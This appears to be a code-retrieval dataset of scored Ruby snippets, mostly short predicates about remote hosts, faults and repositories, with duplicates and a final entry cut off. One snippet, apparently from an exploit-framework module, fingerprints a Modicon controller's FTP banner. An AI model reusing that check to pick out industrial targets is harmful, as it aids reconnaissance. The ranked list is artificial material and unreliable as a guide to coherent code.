[ { "docid": "59d547247d320eb4ecd773679b85cccd", "score": "0.68751955", "text": "def is_remote_user_flaw\r\n is_remote_flaw and is_user_flaw\r\n end", "title": "" }, { "docid": "976c84468bb036f1fd7e36723a92c83c", "score": "0.67571837", "text": "def is_remote_flaw\r\n if target.flaw.remote.nil?\r\n attacker_favors_true\r\n else\r\n target.flaw.remote\r\n end\r\n end", "title": "" }, { "docid": "673a715ea5c02a611482d318c31c6c53", "score": "0.66395485", "text": "def is_local_kernel_flaw\r\n is_local_flaw and is_kernel_flaw\r\n end", "title": "" }, { "docid": "3e9b7b0ceb9d2c75a9f62cfb616a9809", "score": "0.65449345", "text": "def should_run?\n @notify_count += 1\n return false if (@remote_only && Chef::Recipe::ZZDeploy.env.is_local_dev?)\n return @notify_count == 2\n end", "title": "" }, { "docid": "1e29c68462867385c7ef2ed70e217dd4", "score": "0.65188587", "text": "def remote?\n !local?\n end", "title": "" }, { "docid": "91db4c89cff8e488a4cf2efac1c7c178", "score": "0.6509316", "text": "def remote?\n false\n end", "title": "" }, { "docid": "9c560601324a4d15696ab43845dfd983", "score": "0.6491594", "text": "def remote_differs?\n true\n end", "title": "" }, { "docid": "2c7adf1ffb1d3b9b71970352be6b275d", "score": "0.6467608", "text": "def remote?\n end", "title": "" }, { "docid": "814feb33febc759c94acc74cc7d19f48", "score": "0.641449", "text": "def remote?\n !hosted?\n end", "title": "" }, { "docid": "0880e6acdcbddbc77c8bba252639d70a", "score": "0.63273215", "text": "def remote?\n @remote == true\n end", "title": "" }, { "docid": "a91ceabf4619983f34ae60dfc7e39d8a", "score": "0.63029915", "text": "def kernel?\n false\n end", "title": "" }, { "docid": "d82b5e3f5d2830b4dec6451ebae19064", "score": "0.62354034", "text": "def remote?\n true\n end", "title": "" }, { "docid": "d82b5e3f5d2830b4dec6451ebae19064", "score": "0.62354034", "text": "def remote?\n true\n end", "title": "" }, { "docid": "a0a4a818b13726ea6ac214d5c4c88d31", "score": "0.6221016", "text": "def ok?\n !(has_virus? || error?)\n end", "title": "" }, { "docid": "2c94d74e4ef1e3b9fdc8345fe9e787bb", "score": "0.6216167", "text": "def valid_remote_host?(host)\n false\n end", "title": "" }, { "docid": "2c94d74e4ef1e3b9fdc8345fe9e787bb", "score": "0.6216167", "text": "def valid_remote_host?(host)\n false\n end", "title": "" }, { "docid": "318d0ced436e10c183db4d9c91fdadd7", "score": "0.6191401", "text": "def url_is_remote?\n !(url =~ /localhost/ || url =~ /127\\.0\\.0\\.1/ || url =~ /0\\.0\\.0\\.0/)\n end", "title": "" }, { "docid": "d76185049051df7b4c567e8de9002f6e", "score": "0.6180222", "text": "def broken?\n @broken == true\n end", "title": "" }, { "docid": "1a6ed308d38747e23da46787c4e88aac", "score": "0.61448765", "text": "def warning?(host)\n host_state(host) == :warning\n end", "title": "" }, { "docid": "e788f9c87863d387925986480b44424c", "score": "0.6134608", "text": "def force_remote?\n [:all, :remote].include?(@force).tap do |force|\n puts \"\\n!!! Remote branches forced\" if force\n end\n end", "title": "" }, { "docid": "13eb2d13b7b6b88401af177b36be3524", "score": "0.61231095", "text": "def fault_tolerant?\n false\n end", "title": "" }, { "docid": "de17b5297aa938b931710db846ecfe14", "score": "0.6090734", "text": "def broken?\n\t\t@broken\n\tend", "title": "" }, { "docid": "9d19021c2ba472aa6c8e2ef2555a2183", "score": "0.6055028", "text": "def true_issue?\n !pull?\n end", "title": "" }, { "docid": "1b105140da99e0bda2e87fc87835974d", "score": "0.6047553", "text": "def old_rainbows_is_running?\n remote_process_exists?(old_rainbows_pid)\n end", "title": "" }, { "docid": "1409981fa0054f57d83193b6b6b3907b", "score": "0.60429764", "text": "def remote?\n return false if user\n not remote_id.nil?\n end", "title": "" }, { "docid": "3fa895bab4c61f7b7a1a8c05397976d1", "score": "0.60340184", "text": "def remote_changed?\n info \"Checking if remote repository is changed.\"\n return true unless local_valid_repo?\n return true if perform_fetch && should_pull?\n false\n end", "title": "" }, { "docid": "3fa895bab4c61f7b7a1a8c05397976d1", "score": "0.60340184", "text": "def remote_changed?\n info \"Checking if remote repository is changed.\"\n return true unless local_valid_repo?\n return true if perform_fetch && should_pull?\n false\n end", "title": "" }, { "docid": "30cfcf3a42f00f874ab73c3701ecf524", "score": "0.60221535", "text": "def remote_changed?\n tell \"Checking if remote repository is changed\", :blue\n return true unless local_valid_repo?\n return true if perform_fetch && should_pull?\n false\n end", "title": "" }, { "docid": "e8399ed1cdc3c0f5fbc4314f7d157330", "score": "0.60081285", "text": "def fault_tolerant?\n true\n end", "title": "" }, { "docid": "e8399ed1cdc3c0f5fbc4314f7d157330", "score": "0.60081285", "text": "def fault_tolerant?\n true\n end", "title": "" }, { "docid": "e8399ed1cdc3c0f5fbc4314f7d157330", "score": "0.60081285", "text": "def fault_tolerant?\n true\n end", "title": "" }, { "docid": "e8399ed1cdc3c0f5fbc4314f7d157330", "score": "0.60081285", "text": "def fault_tolerant?\n true\n end", "title": "" }, { "docid": "fb3fdec073c901ad3052106feae0549c", "score": "0.60036016", "text": "def use_remote_pix?\r\n PictureProcessor.use_remote_pix?\r\n end", "title": "" }, { "docid": "c58e92d4c9f071e531c59beaa9f0a748", "score": "0.59948903", "text": "def broken?\n\t\t# this is an instance var but it's available in all methods\n\t\t# and can be updated by them, eg. @broken = true\n\t\t@broken\n\tend", "title": "" }, { "docid": "94761a25dc687cfac643ca0c519968ec", "score": "0.5985881", "text": "def fault_tolerant?\n @fault_tolerant\n end", "title": "" }, { "docid": "f762bd0c6ab591630859a4b30cb2959d", "score": "0.595889", "text": "def fs_remote?(mount)\n fs_type(mount) == 'nfs' ? true : false\n end", "title": "" }, { "docid": "f762bd0c6ab591630859a4b30cb2959d", "score": "0.595889", "text": "def fs_remote?(mount)\n fs_type(mount) == 'nfs' ? true : false\n end", "title": "" }, { "docid": "f762bd0c6ab591630859a4b30cb2959d", "score": "0.595889", "text": "def fs_remote?(mount)\n fs_type(mount) == 'nfs' ? true : false\n end", "title": "" }, { "docid": "a0f427afe206d7e616a159ea94d055ec", "score": "0.595631", "text": "def can_be_poisoned?\n return false if type_poison? or type_steel?\n return false if @status != 0\n return true\n end", "title": "" }, { "docid": "0ce0914d3f3af90ece04db27d21fe63b", "score": "0.5945866", "text": "def check\n\t\treturn true unless datastore['RUN_CHECK']\n\t\tis_modicon = false\n\t\tvprint_status \"#{ip}:#{rport} - FTP - Checking fingerprint\"\n\t\tconnect rescue nil\n\t\tif sock\n\t\t\t# It's a weak fingerprint, but it's something\n\t\t\tis_modicon = check_banner()\n\t\t\tdisconnect\n\t\telse\n\t\t\tprint_error \"#{ip}:#{rport} - FTP - Cannot connect, skipping\"\n\t\t\treturn false\n\t\tend\n\t\tif is_modicon\n\t\t\tprint_status \"#{ip}:#{rport} - FTP - Matches Modicon fingerprint\"\n\t\telse\n\t\t\tprint_error \"#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch\"\n\t\tend\n\t\treturn is_modicon\n\tend", "title": "" }, { "docid": "78ddaa9a9cf1ef4affd630390ffb8919", "score": "0.594318", "text": "def is_kernel_flaw\r\n is_kernel_app\r\n end", "title": "" }, { "docid": "4ef72a6ed0f740f46be94e6b7be05f98", "score": "0.59252554", "text": "def fs_remote?(mount)\n fs_type(mount) == 'nfs'\n end", "title": "" }, { "docid": "c5c2e601ef814729275e1707bbe9e198", "score": "0.591944", "text": "def message_triggered_too_often?\n @fault_code == 200 && @error_message == 'Unexpected eC-M Reply Code: 304'\n end", "title": "" }, { "docid": "73f65c32f306a270019c8c6556474d16", "score": "0.59094137", "text": "def should_pull?\n info[:remote] != info[:base]\n end", "title": "" }, { "docid": "59a015d33325c467d56ef6ef3f0dc394", "score": "0.5906564", "text": "def remote\n false\n end", "title": "" }, { "docid": "c09c39ba7e7fec740d5e7dd3f402f863", "score": "0.59065515", "text": "def remote_resource?\n @resource == 1\n end", "title": "" }, { "docid": "fe4fadab58416202e7226a2bc0f6d7eb", "score": "0.59049237", "text": "def unknown?(host)\n host_state(host) == :unknown\n end", "title": "" }, { "docid": "727589cff5b303d695eee5b457afbe44", "score": "0.58824944", "text": "def host?\n _hostmask == 0\n end", "title": "" }, { "docid": "e48f2ddc0c5665bcd3779e6273e32d42", "score": "0.58706456", "text": "def is_broken\n @working = false\n end", "title": "" }, { "docid": "3a2b9d7e7654d60c3429a1e12790e8ba", "score": "0.58644396", "text": "def remote?\n remote.present?\n end", "title": "" }, { "docid": "fc6f9fbfdf76947fac7a9bd2c46589f7", "score": "0.5849832", "text": "def find_remote_as_individual?\n false\n end", "title": "" }, { "docid": "86b461f4c9c9f93bd26d9f058300e132", "score": "0.5846417", "text": "def damaged?\n (status == DAMAGED)\n end", "title": "" }, { "docid": "86b461f4c9c9f93bd26d9f058300e132", "score": "0.5846417", "text": "def damaged?\n (status == DAMAGED)\n end", "title": "" }, { "docid": "d20da8583df199dacaaf417c52a8622c", "score": "0.58435637", "text": "def server?\n !local?\n end", "title": "" }, { "docid": "b192be62ea0e4a16d7beca2f918410b6", "score": "0.5841981", "text": "def network_ok\n return true if settings.no_netconfig\n iface = Bandshell.configured_interface\n if iface\n if iface.ip != \"0.0.0.0\"\n true\n else\n false\n end\n else\n false\n end\n end", "title": "" }, { "docid": "4057e8af61e8ed917e661b72c38062fe", "score": "0.58393025", "text": "def should_install_chef?\n @force || !@machine.guest.capability(:chef_installed, @product, @version)\n end", "title": "" }, { "docid": "0ed94cabe0d643dc97c7fbdd7bbeb38a", "score": "0.58376426", "text": "def is_blocked?\n @o_dev[I_DEVICE]['Blocked']\n end", "title": "" }, { "docid": "131596d79f9df98c3a4d1abf6437d7dd", "score": "0.582416", "text": "def remote\r\n @local.nil? || @local == false\r\n end", "title": "" }, { "docid": "3da10f559d97aed4b321b2d73f37a7d1", "score": "0.58175933", "text": "def valid?(remote)\n # This gives a total max duration of 6s (2s * 3 attempts)\n _, _, s = rclone(\n 'lsd', \"#{remote}:\",\n '--contimeout', '2s',\n '--timeout', '2s',\n '--low-level-retries', '1',\n '--retries', '1'\n )\n s.success?\n rescue StandardError\n false\n end", "title": "" }, { "docid": "d218f5215c41f211c0faa5e5ab19447c", "score": "0.5813423", "text": "def rainbows_is_running?\n remote_process_exists?(rainbows_pid)\n end", "title": "" }, { "docid": "801fc2d819e3ada2d07018692585fa20", "score": "0.57998604", "text": "def is_rebooting?()\n reboot_detect_script = VagrantWindows.load_script('reboot_detect.ps1')\n @machine.communicate.execute(reboot_detect_script, :error_check => false) != 0\n end", "title": "" }, { "docid": "f6023d1385efe3bfce776e0dff631934", "score": "0.57981575", "text": "def crashed?\n # TODO\n false\n end", "title": "" }, { "docid": "739be12d19ba82960a1b6f4140e19b80", "score": "0.5793147", "text": "def err_track?\n return (@bugs.size > 0) ? true : false\n end", "title": "" }, { "docid": "0a2c47d98ee93f20d1608383997a8b8e", "score": "0.5787365", "text": "def fail_hard?\n @fail_hard\n end", "title": "" }, { "docid": "bf79b2a2745c695abe73859f669e0e64", "score": "0.578327", "text": "def reboot_requested?\n node.run_state[:reboot_requested] == true\n end", "title": "" }, { "docid": "e96c2eb8769c5fa74521b5f1d732841a", "score": "0.5781899", "text": "def networked?\n Puppet.run_mode.server?\n end", "title": "" }, { "docid": "1b0a7327f488b0f2b793ff1e196e00b4", "score": "0.5780845", "text": "def local_kernel_target?\r\n @p_target_class ||= p_ulong\r\n @p_target_qualifier ||= p_ulong\r\n retval = self.debug_client.DebugControl.GetDebuggeeType( @p_target_class, @p_target_qualifier )\r\n self.raise_errorcode( retval, __method__ ) unless retval.zero? # S_OK\r\n\r\n @p_target_class.read_int == DebugControl::DEBUG_CLASS_KERNEL &&\r\n @p_target_qualifier.read_int == DebugControl::DEBUG_KERNEL_LOCAL\r\n end", "title": "" }, { "docid": "64bd0a0c48fc221a1ad49e64e4eb8088", "score": "0.57687163", "text": "def block_indirectly_powered?\n isBlockIndirectlyPowered\n end", "title": "" }, { "docid": "dc434d9cdf81de3515dee9765c8fc0ce", "score": "0.57655114", "text": "def remote_enabled?\n ssh_enabled = config.include?(:port) && config.include?(:user) && config.include?(:host) && config.include?(:remote_root)\n git_enabled = 0 < system(\"cd #{@root}; git remote\").to_s.strip.length\n Settings.use_git ? ssh_enabled && git_enabled : ssh_enabled\n end", "title": "" }, { "docid": "6022baa55be070fe9b4b42de8fac0e7d", "score": "0.57571834", "text": "def can_block_now()\n\n\t\tcheck_hitpoints\n\n\t\tif(@dead)\n\t\t\treturn false, 'dead'\n\t\tend\n\n\t\tif(@unconscious)\n\t\t\treturn false, 'unconscious'\n\t\tend\n\t\t\n\t\tif(@prone>0) \n\t\t\treturn false, 'prone'\n\t\tend\n\t\t\n\t\tif(@uparry>0) \n\t\t\treturn false, 'unable to parry'\n\t\tend\n\n\t\treturn true, 'no reason'\n\tend", "title": "" }, { "docid": "6022baa55be070fe9b4b42de8fac0e7d", "score": "0.57571834", "text": "def can_block_now()\n\n\t\tcheck_hitpoints\n\n\t\tif(@dead)\n\t\t\treturn false, 'dead'\n\t\tend\n\n\t\tif(@unconscious)\n\t\t\treturn false, 'unconscious'\n\t\tend\n\t\t\n\t\tif(@prone>0) \n\t\t\treturn false, 'prone'\n\t\tend\n\t\t\n\t\tif(@uparry>0) \n\t\t\treturn false, 'unable to parry'\n\t\tend\n\n\t\treturn true, 'no reason'\n\tend", "title": "" }, { "docid": "5e3372b9f09b8b8a39c313470d7afd88", "score": "0.574315", "text": "def can_have_local_flaw?\r\n true\r\n end", "title": "" }, { "docid": "7652fc99aabe6f47b21533aea1756804", "score": "0.5740624", "text": "def prevent_launch?\n packaging_lockfile = File.expand_path(\"i-mic-fps-packaging.lock\", Dir.tmpdir)\n m = \"Game client not launched\"\n\n return [true, \"#{m}: Server is running\"] if defined?(IMICFPS_SERVER_MODE) && IMICFPS_SERVER_MODE\n\n return [true, \"#{m}: Packaging is running\"] if defined?(Ocra)\n\n if File.exist?(packaging_lockfile) && File.read(packaging_lockfile).strip == IMICFPS::VERSION\n return [true, \"#{m}: Packaging lockfile is present (#{packaging_lockfile})\"]\n end\n\n [false, \"\"]\nend", "title": "" }, { "docid": "da477a937896785e4b4b7616a7cc2959", "score": "0.57394195", "text": "def exposed_remote?(object)\n RemoteObject.remote_object?(@connection.object_request_broker, object)\n end", "title": "" }, { "docid": "ad3f5d28b2f2d2a9b55503521b1c6046", "score": "0.57338053", "text": "def harmless?\n dead?\n end", "title": "" }, { "docid": "cfce2a507e7017f349d0598c80b9e1f1", "score": "0.5730764", "text": "def has_remote?\n # NOTE ARes#exists? is broken:\n # https://rails.lighthouseapp.com/projects/8994/tickets/1223-activeresource-head-request-sends-headers-with-a-nil-key\n #\n return !remote(true).nil? rescue false\n end", "title": "" }, { "docid": "0ee5ccc144421dfd121a8dc024b1ed05", "score": "0.571014", "text": "def soft?\n !hard?\n end", "title": "" }, { "docid": "9e0600f977f4dda5811e8e0d21b1ae51", "score": "0.57101303", "text": "def block_powered?\n isBlockPowered\n end", "title": "" }, { "docid": "a59058c5ba115bd8d22312c1cfcfd6c4", "score": "0.57071364", "text": "def dmi_error?\n dmi_status == 'error'\n end", "title": "" }, { "docid": "5f98b0472b7aac89fc0a36c2f5d2becf", "score": "0.570235", "text": "def settleable?\n remote_status == \"settled\"\n end", "title": "" }, { "docid": "f98f2d3c019e3d939e352004cbf93cbd", "score": "0.5693361", "text": "def remote_changed?\n # TODO\n end", "title": "" }, { "docid": "f98f2d3c019e3d939e352004cbf93cbd", "score": "0.5693361", "text": "def remote_changed?\n # TODO\n end", "title": "" }, { "docid": "57bc65b53a56fec636ab46a4117eb1f4", "score": "0.569325", "text": "def remote?\n _remote_url = remote_url\n \n _remote_url and !_remote_url.empty?\n end", "title": "" }, { "docid": "708f5e4ecb713802d5f4501d1d55455e", "score": "0.5686154", "text": "def enabled?\n (super ||\n !@remote_path.nil? && @remote_path.directory? ||\n local_valid_repo?)\n end", "title": "" }, { "docid": "5a7b9c14bff0399c39080272f733a468", "score": "0.56860095", "text": "def error?\n !Cproton.pn_message_errno(@impl).zero?\n end", "title": "" }, { "docid": "0931423a3e49aae3b78e896d79988484", "score": "0.5683912", "text": "def stage_over_connection?\n\t\tfalse\n\tend", "title": "" }, { "docid": "7edcbd821f19ec12aa135d7b18467034", "score": "0.5680492", "text": "def stage_over_connection?\n false\n end", "title": "" }, { "docid": "7edcbd821f19ec12aa135d7b18467034", "score": "0.5680492", "text": "def stage_over_connection?\n false\n end", "title": "" }, { "docid": "7edcbd821f19ec12aa135d7b18467034", "score": "0.5680492", "text": "def stage_over_connection?\n false\n end", "title": "" }, { "docid": "7edcbd821f19ec12aa135d7b18467034", "score": "0.5680492", "text": "def stage_over_connection?\n false\n end", "title": "" }, { "docid": "f7f9047435396d32d5843883368b251d", "score": "0.56800985", "text": "def has_virus?\n !virus_found.nil?\n end", "title": "" }, { "docid": "9956f9a56d90e29a452a03e2842a465d", "score": "0.5676969", "text": "def is_computer?\n false\n end", "title": "" }, { "docid": "db4b691da20451e08505e5741be8da5c", "score": "0.5676497", "text": "def dnssec_elegible?\n return false if slave?\n\n true\n end", "title": "" }, { "docid": "110870bff2732e0499802c7fb7e06b40", "score": "0.56729263", "text": "def reboot_requested?\n reboot_info.size > 0\n end", "title": "" }, { "docid": "a3648df4478adc15594cc87ce15f6daf", "score": "0.56726474", "text": "def fs_remote?(mount)\n case fs_type(mount)\n when 'ext2/ext3'\n false\n when 'nfs'\n true\n else\n bail_out(\"Cannot determine filesystem type for \\\"#{mount}\\\"\")\n end\n end", "title": "" }, { "docid": "7b716291408bf2949a0bfde5cd55bbd7", "score": "0.5670915", "text": "def hard?\n @hard\n end", "title": "" }, { "docid": "fefa703da04ff7664d1fa4e9dba63808", "score": "0.5668893", "text": "def error?\n server_error? || client_error?\n end", "title": "" }, { "docid": "380a00b74c5a2e9027359334668d9bbf", "score": "0.56676465", "text": "def threatened?\n false\n end", "title": "" }, { "docid": "31f6a2d820d3e8ddc3e8d55bc8194e48", "score": "0.5663593", "text": "def evolving?\n\t\treturn false\n\tend", "title": "" }, { "docid": "970fa4d9cadf628e37222334047a90a1", "score": "0.56567466", "text": "def lost?\n false\n end", "title": "" } ]
670d63a50faddb3ee5a53147f080e131
version must be of format n.nn or n.nn.nn
[ { "docid": "93e27e1bd170782e73a38ce7417b695d", "score": "0.0", "text": "def initialize( src )\n @match_data = src.match( FORMAT_VALIDATOR )\n raise ArgumentError.new( \"Not a valid version format for a VersionString.\" ) if @match_data.nil?\n\n @major = (@match_data[:major] || 0).to_i\n @minor = (@match_data[:minor] || 0).to_i\n @patch = (@match_data[:patch] || 0).to_i\n \n super( \"#{@major}.#{@minor}.#{@patch}\" )\n end", "title": "" } ]
[ { "docid": "4f31b32751b1d2b54a6b12343378a947", "score": "0.6596169", "text": "def normalize(version)\n if version.match?(/^\\d+\\.\\d+\\.0$/)\n version.chomp(\".0\")\n else\n version\n end\n end", "title": "" }, { "docid": "6b1007136695e497102d5ec8cb638841", "score": "0.6482731", "text": "def ips_version(version, release)\n version = version.gsub(/[a-zA-Z]/, '')\n version = version.gsub(/(^-)|(-$)/, '')\n\n # Here we strip leading 0 from version components but leave singular 0 on their own.\n version = version.split('.').map(&:to_i).join('.')\n \"#{version},5.11-#{release}\"\n end", "title": "" }, { "docid": "b7d0d1f2b98ab38be333ebecef06579a", "score": "0.64813817", "text": "def normalize_version(str)\n default = \"0.0.1\"\n\n if str.nil? or str.empty?\n default\n elsif str.match /^(\\d)+[.](\\d)+[.](\\d)+$/\n str\n elsif str.match /^((\\d)+[.])*(\\d)+$/\n extend_version(str)\n elsif str.match /^([\\d\\w]+)[.]([\\d\\w]+)[.]([\\d\\w]+)$/\n deletter_version(str)\n else\n default\n end\n end", "title": "" }, { "docid": "b05310861904878c0369c95ec3943f83", "score": "0.6452299", "text": "def dot_version(version = Pkg::Config.version)\n version.tr('-', '.')\n end", "title": "" }, { "docid": "3de263ff4f590ba9fd883f8c2c8e036e", "score": "0.63774806", "text": "def code_version(version_string)\n version_string.strip.match(/(\\d.\\d+)(b\\d+)?(\\w?)$/) and $1.to_f\n end", "title": "" }, { "docid": "dc06a4cdf57f7ede1045cfd803020fff", "score": "0.63236046", "text": "def major_version(version)\n tri_version = /[\\d]+\\.[\\d]+\\.[\\d]+/ \n if version =~ tri_version\n return version.match(tri_version).to_s\n else \n return version\n end \n end", "title": "" }, { "docid": "5de1c78a68cb6cfa50b6c1379cb29b7d", "score": "0.6321247", "text": "def is_version(s)\n /^([0]|[1-9][0-9]*)\\.([0]|[1-9][0-9]*)\\.([0]|[1-9][0-9]*)$/ === s\n end", "title": "" }, { "docid": "ae622d626e5b2c2931d1e20b4f2a944e", "score": "0.63070935", "text": "def fix_version_name(version)\n version.gsub(/[v][\\.]*/i, \"\")\n end", "title": "" }, { "docid": "fdc84cd8327fefe331e602fdcd77d105", "score": "0.6292358", "text": "def normalize_version(version)\n v = version.to_s.downcase\n parts = v.split('/')\n v = parts[1] unless parts[1].nil?\n v.start_with?('v') ? v[1..-1] : v\n end", "title": "" }, { "docid": "e365a3e2249eccbadcf63486f39cc7d5", "score": "0.6269584", "text": "def normalize_version(version)\n version = version.to_s\n return version[1..-1] if version.downcase.start_with?('v')\n version\n end", "title": "" }, { "docid": "e365a3e2249eccbadcf63486f39cc7d5", "score": "0.6269584", "text": "def normalize_version(version)\n version = version.to_s\n return version[1..-1] if version.downcase.start_with?('v')\n version\n end", "title": "" }, { "docid": "87c38d9434136816df9fa7ff705aadbf", "score": "0.62602156", "text": "def vk_parse_version(version)\n major = (version >> 22) & 0x3ff\n minor = (version >> 12) & 0x3ff\n patch = (version ) & 0xfff\n Gem::Version.new([major, minor, patch].join('.'))\n end", "title": "" }, { "docid": "e9a9c9d2d8ef0d766357f11bc285ca8b", "score": "0.6256877", "text": "def get_version(version)\n version = version.capitalize\n version = (version.start_with?'V')?version[1..version.length]:version\n \"V#{version.gsub('-','_')}\"\n end", "title": "" }, { "docid": "ce35356a565b0f8dc6bd5db3e07afb7b", "score": "0.6250814", "text": "def version_converter(version)\n version_without_subreleases = version.to_s.split(/[^0-9\\.]/)[0]\n if !version_without_subreleases.nil?\n return version_without_subreleases.split('.').map{|chr| chr.to_i}\n else\n return version_without_subreleases\n end\n end", "title": "" }, { "docid": "607780135d490617f366843fa1bcf42a", "score": "0.62337744", "text": "def valid_version?(version)\n version =~ %r{\\d+\\.\\d+\\.\\d+(\\.(alpha|beta|rc)(\\.\\d+)?)?}\nend", "title": "" }, { "docid": "48dabf99d5d26ecab4b36f7655c1dea6", "score": "0.61732274", "text": "def version_number(version)\n if version =~ /\\d/\n version.gsub(/^[^\\d]*/, '').gsub(/[^\\d]*$/, '').gsub(/(\\d*\\.\\d*).*/, '\\1')\n else\n \"-\"\n end\n end", "title": "" }, { "docid": "84e2dddcaf0d6f606ff57fe0d2ab9654", "score": "0.6156613", "text": "def compare_versions(v1,v2)\n (v1.split('.').map(&:to_i) <=> v2.split('.').map(&:to_i)) >= 0\nend", "title": "" }, { "docid": "6d6c8e1197755b6b849277e0881e370a", "score": "0.61395544", "text": "def compute_version\n result = 0\n @version.split('.').map! { |n| result += n.to_i }\n result\n end", "title": "" }, { "docid": "18c0b81d9424d240a6bda142f5c648fc", "score": "0.6125717", "text": "def _sematic_version(version)\n version.split('.').collect(&:to_i)\n end", "title": "" }, { "docid": "99d4728f069122b698edef3a909cc718", "score": "0.6124649", "text": "def net_version\n raise NotImplementedError, 'net_version not yet implemented'\n end", "title": "" }, { "docid": "1b784cad947774cca24b46e6e074e630", "score": "0.60991216", "text": "def parse_version(string)\n string[0] == \"v\" ? string[1..-1] : string\n end", "title": "" }, { "docid": "8cee6e9b936d08d3cadaa6dd3a458c63", "score": "0.60976946", "text": "def major_version_component(version)\n return version.split(/[.abp]/)[0..1].join('.')\nend", "title": "" }, { "docid": "7304d52cf856ef0945f3dc90fb0cc88d", "score": "0.60639685", "text": "def normalize_version(version)\n if version =~ /^\\d+$/\n \"#{@service}:#{version}\"\n elsif version.include?(':') && !version.include?(\":ufo-\")\n version\n else # assume git sha\n # tongueroo/demo-ufo:ufo-2018-06-21T15-03-52-ac60240\n from_git_sha(version)\n end\n end", "title": "" }, { "docid": "b752c92791c6c6dd497fa7fd4c2d9c7c", "score": "0.6028964", "text": "def cartodb_extension_semver(extension_version)\n extension_version.split('.').take(3).map(&:to_i)\n end", "title": "" }, { "docid": "b752c92791c6c6dd497fa7fd4c2d9c7c", "score": "0.6028964", "text": "def cartodb_extension_semver(extension_version)\n extension_version.split('.').take(3).map(&:to_i)\n end", "title": "" }, { "docid": "46d224b86f993311b0132504dc7cae51", "score": "0.60254794", "text": "def cartodb_extension_semver(extension_version)\n extension_version.split('.').take(3).map(&:to_i)\n end", "title": "" }, { "docid": "8fd574beb403696250e33df890489569", "score": "0.6022387", "text": "def parse_version(version)\n raise ::Librarian::Error, \"Invalid cookbook version\" unless version =~ /^(\\d+)\\.(\\d+)(\\.(\\d+))?$/\n version\n end", "title": "" }, { "docid": "6188c8bb91d221d64a287d453eb2ce3c", "score": "0.6018696", "text": "def isValidVersionString(version)\n version =~ /^(\\d\\.)*$/\nend", "title": "" }, { "docid": "c0c5451060f5b851ecdf788e467bf869", "score": "0.5977047", "text": "def valid_version?(arg)\n return false unless arg.is_a?(String) || arg.is_a?(Symbol)\n return true if arg.to_s == 'latest'\n arg.match(/^[0-9]+\\.[0-9]+\\.[0-9]+$/) ? true : false\n end", "title": "" }, { "docid": "a98b2ff71aa9e29f95bf8606dc0d5a31", "score": "0.5973436", "text": "def convert_version(version)\n version = version.split(\".\")\n version_number = \"\"\n version.each {|level|\n version_segment = level\n (3 - level.length).times do\n version_segment = '0' + version_segment\n end\n version_number = version_number + version_segment\n }\n version_number.to_i\n end", "title": "" }, { "docid": "74313da95771dcce154f83ad6102488c", "score": "0.59241956", "text": "def set_version(version)\n\t\t\tversion=version.tr('+_','.')\n\t\t\t@version=Gem::Version.new(version) rescue Gem::Version.new(\"0.#{version}\")\n\t\tend", "title": "" }, { "docid": "418ea6f73c0615bc799dee7c34450864", "score": "0.59200466", "text": "def version_number(str)\n if str =~ /\\d/\n str.gsub(/^[^\\d]*/, '').gsub(/[^\\d]*$/, '').gsub(/(\\d*\\.\\d*).*/, '\\1')\n else\n ''\n end\n end", "title": "" }, { "docid": "63f8a8760554b430968c724ac3c79629", "score": "0.5913291", "text": "def valid_version?(arg)\n return true if arg == 'latest'\n arg.match(/^[0-9]+\\.[0-9]+\\.[0-9]+(-[0-9]+)?$/) ? true : false\n end", "title": "" }, { "docid": "c82cb299a3ac5407c3c897ef9d92d86d", "score": "0.59039396", "text": "def test_v_prefix\n value_ = ::Versionomy.parse('v1.2')\n assert_equal([1, 2, 0, 0, :final, 0, 0], value_.values_array)\n assert_equal('v1.2', value_.to_s)\n value_ = ::Versionomy.parse('V 2.3')\n assert_equal([2, 3, 0, 0, :final, 0, 0], value_.values_array)\n assert_equal('V 2.3', value_.to_s)\n end", "title": "" }, { "docid": "570cc1430d9a99fc80c38a93b01c2c59", "score": "0.5893524", "text": "def nextVersion(version)\n a = version.split('.')\n i = a.size - 1\n while i > 0 && a[i] == '9'\n a[i] = '0'\n i -= 1\n end\n a[i] = (a[i].to_i + 1).to_s\n a.join('.')\nend", "title": "" }, { "docid": "68d2068c3bf458719f16fd6fb91d9764", "score": "0.5887397", "text": "def Version(version)\n Version::Number.parse(version)\n end", "title": "" }, { "docid": "762c41a2708b094db5536e1ef8dd1307", "score": "0.5882401", "text": "def compareVersion( v1, v2 )\n if( v1.nil? )\n return 1\n end\n if( v2.nil? )\n return -1\n end\n t1 = v1.split( \".\" )\n t2 = v2.split( \".\" )\n for i in 0..(t1.length)\n # In the case of 1.2 vs 1.2.1, 1.2.1 is the more recent\n # version\n if( i > t2.length )\n return 1\n end\n\n if( t1[ i ].to_i( ) > t2[ i ].to_i( ) )\n return 1\n elsif( t1[ i ].to_i( ) < t2[ i ].to_i( ) )\n return -1\n end\n\n if( i == ( t1.length - 1 ) && t1.length < t2.length )\n return -1\n end\n end\n\n return 0\nend", "title": "" }, { "docid": "5b3b492def1347d50d8fe1dafd6ffbd4", "score": "0.58819056", "text": "def version_weight\n # parse the version numbers from the @iso_version value\n version_str, commit_no = /^v?(.*)$/.match(@iso_version)[1].split(\"-\")[0].split(\"+\")\n # Limit any part of the version number to a number that is 999 or less\n version_str.split(\".\").map! {|v| v.to_i > 999 ? 999 : v}.join(\".\")\n # separate out the semantic version part (which looks like 0.10.0) from the\n # \"sub_patch number\" (to handle formats like v0.9.3.0, which were used in\n # older versions of the Hanlon-Microkernel project)\n version_parts = version_str.split(\".\").map {|x| \"%03d\" % x}\n sub_patch = (version_parts.length == 4 ? version_parts[3] : \"000\")\n # and join the parts as a single floating point number for comparison\n (version_parts[0,3].join + \".#{sub_patch}\").to_f + \"0.000#{commit_no}\".to_f\n end", "title": "" }, { "docid": "39b79e361866f7e869fb4f6df43de33a", "score": "0.5881372", "text": "def parse_version(str)\n version_string = /.\\d\\.\\d.\\d|\\d+.\\d/.match(str).to_s\n Gem::Version.new(version_string)\n end", "title": "" }, { "docid": "0e12d9ff8d6b68abb666596ad5f6f86c", "score": "0.58758765", "text": "def coerce(version)\n version\n .split('-')\n .first\n .split('.')[0, 3]\n .join('.')\n end", "title": "" }, { "docid": "8b3edab29aeaec449e3bab9af8d7341e", "score": "0.5860388", "text": "def puppet_to_gem_version(version)\n constraints = version.scan(/([~<>=]*[ ]*[\\d\\.x]+)/).flatten # split the constraints\n constraints.map do |constraint|\n matched = /(.*)\\.x/.match(constraint)\n matched.nil? ? constraint : \"~>#{matched[1]}.0\"\n end\n end", "title": "" }, { "docid": 